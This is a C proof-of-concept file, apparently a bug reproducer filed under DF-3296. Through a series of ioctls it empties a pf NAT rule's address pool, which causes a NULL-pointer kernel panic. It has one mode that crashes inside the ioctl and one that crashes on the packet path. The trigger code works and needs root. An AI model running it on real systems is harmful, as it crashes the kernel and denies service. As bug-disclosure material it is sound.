DF-3296 / trigger_changeaddr.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 | /* * DF-3296 — pf DIOCCHANGEADDR PF_CHANGE_REMOVE of a pool's LAST address * NULL-derefs the kernel in pfioctl (pf_ioctl.c:2330-2332). * * pool->cur = TAILQ_FIRST(&pool->list); // NULL after last removal * PF_ACPY(&pool->counter, &pool->cur->addr.v.a.addr, pca->af); * -> pf_addrcpy(dst, (struct pf_addr *)NULL + 0, AF_INET) * -> reads src->addr32[0] at virtual address 0 -> fatal page fault * * Trigger path (all raw ioctls on /dev/pf, requires write access == * root on a stock system since /dev/pf is 0600 root:wheel): * DIOCBEGINADDRS -> pool ticket * DIOCADDADDR -> one PF_ADDR_ADDRMASK address (10.9.9.9/32) into pf_pabuf * DIOCXBEGIN -> NAT ruleset ticket * DIOCADDRULE -> one "nat ... -> 10.9.9.9" rule (pool moves off pabuf) * DIOCXCOMMIT -> rule becomes ACTIVE, rpool.cur == the one address * DIOCGETRULES -> active ticket * DIOCCHANGEADDR(action=PF_CHANGE_REMOVE, nr=0, r_action=PF_NAT, r_num=0) * -> frees the only pooladdr -> panic * * modes: * ioctl (default) panic inside the DIOCCHANGEADDR ioctl itself * datapath empty the pool with af=AF_UNSPEC (pf_addrcpy copies nothing, * no ioctl panic), then send one packet matching the NAT rule: * NULL deref happens in pf_map_addr() on the packet path * (pf.c:2693/2712) — proves the invariant break is not just * a local copy issue. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <net/pf/pfvar.h> static int dev; static void xioc(unsigned long cmd, void *arg, const char *what) { if (ioctl(dev, cmd, arg) == -1) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } } /* load one NAT rule "-> 10.9.9.9" whose rpool has exactly ONE address */ static u_int32_t setup_nat_rule(void) { struct pfioc_pooladdr pp; struct pfioc_trans trans; struct pfioc_trans_e ioe; struct pfioc_rule pr; u_int32_t pool_ticket; memset(&pp, 0, sizeof(pp)); xioc(DIOCBEGINADDRS, &pp, "DIOCBEGINADDRS"); pool_ticket = pp.ticket; memset(&pp, 0, sizeof(pp)); pp.ticket = pool_ticket; pp.af = AF_INET; pp.addr.addr.type = PF_ADDR_ADDRMASK; pp.addr.addr.v.a.addr.v4.s_addr = inet_addr("10.9.9.9"); pp.addr.addr.v.a.mask.v4.s_addr = inet_addr("255.255.255.255"); xioc(DIOCADDADDR, &pp, "DIOCADDADDR"); memset(&ioe, 0, sizeof(ioe)); ioe.rs_num = PF_RULESET_NAT; memset(&trans, 0, sizeof(trans)); trans.size = 1; trans.esize = sizeof(ioe); trans.array = &ioe; xioc(DIOCXBEGIN, &trans, "DIOCXBEGIN"); memset(&pr, 0, sizeof(pr)); pr.rule.action = PF_NAT; pr.rule.af = AF_INET; pr.ticket = ioe.ticket; pr.pool_ticket = pool_ticket; xioc(DIOCADDRULE, &pr, "DIOCADDRULE"); xioc(DIOCXCOMMIT, &trans, "DIOCXCOMMIT"); memset(&pr, 0, sizeof(pr)); pr.rule.action = PF_NAT; xioc(DIOCGETRULES, &pr, "DIOCGETRULES"); printf("setup: %u active NAT rule(s), active ticket %u\n", pr.nr, pr.ticket); return (pr.ticket); } static void trigger_ioctl(u_int32_t ticket) { struct pfioc_pooladdr pca; memset(&pca, 0, sizeof(pca)); pca.action = PF_CHANGE_REMOVE; pca.ticket = ticket; pca.nr = 0; /* first (and only) pool address */ pca.r_num = 0; /* rule 0 */ pca.r_action = PF_NAT; pca.r_last = 0; pca.af = AF_INET; /* pf_addrcpy reads NULL+0 -> fatal fault */ printf("trigger: DIOCCHANGEADDR PF_CHANGE_REMOVE last pool addr...\n"); fflush(stdout); if (ioctl(dev, DIOCCHANGEADDR, &pca) == -1) printf("trigger: ioctl returned %s (no panic?)\n", strerror(errno)); else printf("trigger: ioctl succeeded (no panic?)\n"); } static void trigger_datapath(u_int32_t ticket) { struct pfioc_pooladdr pca; struct sockaddr_in sin; int s; /* af = AF_UNSPEC: pf_addrcpy copies nothing -> pool left EMPTY, * cur == NULL, no ioctl panic. Invariant broken. */ memset(&pca, 0, sizeof(pca)); pca.action = PF_CHANGE_REMOVE; pca.ticket = ticket; pca.nr = 0; pca.r_num = 0; pca.r_action = PF_NAT; pca.r_last = 0; pca.af = AF_UNSPEC; if (ioctl(dev, DIOCCHANGEADDR, &pca) == -1) { printf("trigger: ioctl returned %s (no panic?)\n", strerror(errno)); return; } printf("trigger: pool emptied (pool->cur == NULL); sending packet\n"); fflush(stdout); /* one packet through the NAT rule -> pf_get_translation -> * pf_map_addr -> NULL deref */ s = socket(AF_INET, SOCK_DGRAM, 0); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(65001); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); sendto(s, "x", 1, 0, (struct sockaddr *)&sin, sizeof(sin)); printf("trigger: packet sent (no panic?)\n"); close(s); } int main(int argc, char **argv) { u_int32_t ticket; int start_pf = 0; if (argc > 2 && strcmp(argv[2], "enable") == 0) start_pf = 1; dev = open("/dev/pf", O_RDWR); if (dev == -1) { perror("open /dev/pf"); return (2); } ticket = setup_nat_rule(); if (start_pf) xioc(DIOCSTART, NULL, "DIOCSTART"); /* not needed for ioctl path */ if (argc > 1 && strcmp(argv[1], "datapath") == 0) trigger_datapath(ticket); else trigger_ioctl(ticket); return (0); } |